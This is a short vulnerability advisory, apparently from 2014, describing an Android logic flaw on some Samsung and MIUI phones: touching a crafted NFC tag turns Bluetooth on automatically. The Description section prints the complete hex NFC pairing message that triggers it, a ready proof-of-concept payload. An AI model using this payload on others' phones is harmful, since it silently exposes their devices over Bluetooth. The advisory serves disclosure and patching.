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Android Bluetooth Enable

Android Bluetooth Enable
Posted Sep 17, 2014
Site nipc.org.cn

A logic flaw in some versions of Android can allow for bluetooth to be automatically enabled via NFC.

tags | advisory
SHA-256 | 4daa646bde5895fbdd88288d9c9cd55da7cba639eaae92baee8ddd3f6afda65f

Android Bluetooth Enable

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I. Summary
Bluetooth Pairing Packet is written to a NFC tag, which can be touched by a NFC mobile phone for bluetooth pairing. A logic flaw has been found in some

versions of Andorid mobile phone. The flaw can cause NFC phones'bluetooth turned on, regardless of whether the pairing succeeds or not.
-----------------------------------------------------------------
II. Description
According to the NFC Bluetooth Simple Pairing Message Specification(NFC Forum), construct a message as follow.
91 02 0A 48 73 12 D1 02 04 61 63 01 01 30 00 5A
20 1C 01 61 70 70 6C 69 63 61 74 69 6F 6E 2F 76
6E 64 2E 62 6C 75 65 74 6F 6F 74 68 2E 65 70 2E
6F 6F 62 30 1C 00 79 E9 72 CA 6B F0 08 09 41 6E
64 72 6F 69 64 04 0D 0C 02 40 05 03 1E 11 0B 11
Then write the message to NFC tag. Touch the NFC tag with a smart phone with Samsung GT-I9300(defaultAndroid 4.1.2) or MI3(MIUI 5.30), bluetooth connection

will be turned on automatically, regardless of whether the pairing succeeds or not.
------------------------------------------------------------------
III. Impact

This bug cause bluetooth connection turned on automatically

------------------------------------------------------------------
IV. Affected
Samsung GT-I9300(defaultAndroid 4.1.2) or other versions of default systems.
MIUI 4.1.17/5.30 and other versions we don't test.
------------------------------------------------------------------
V. Solution
modify the source codes about Bluetooth pairing message parsing.
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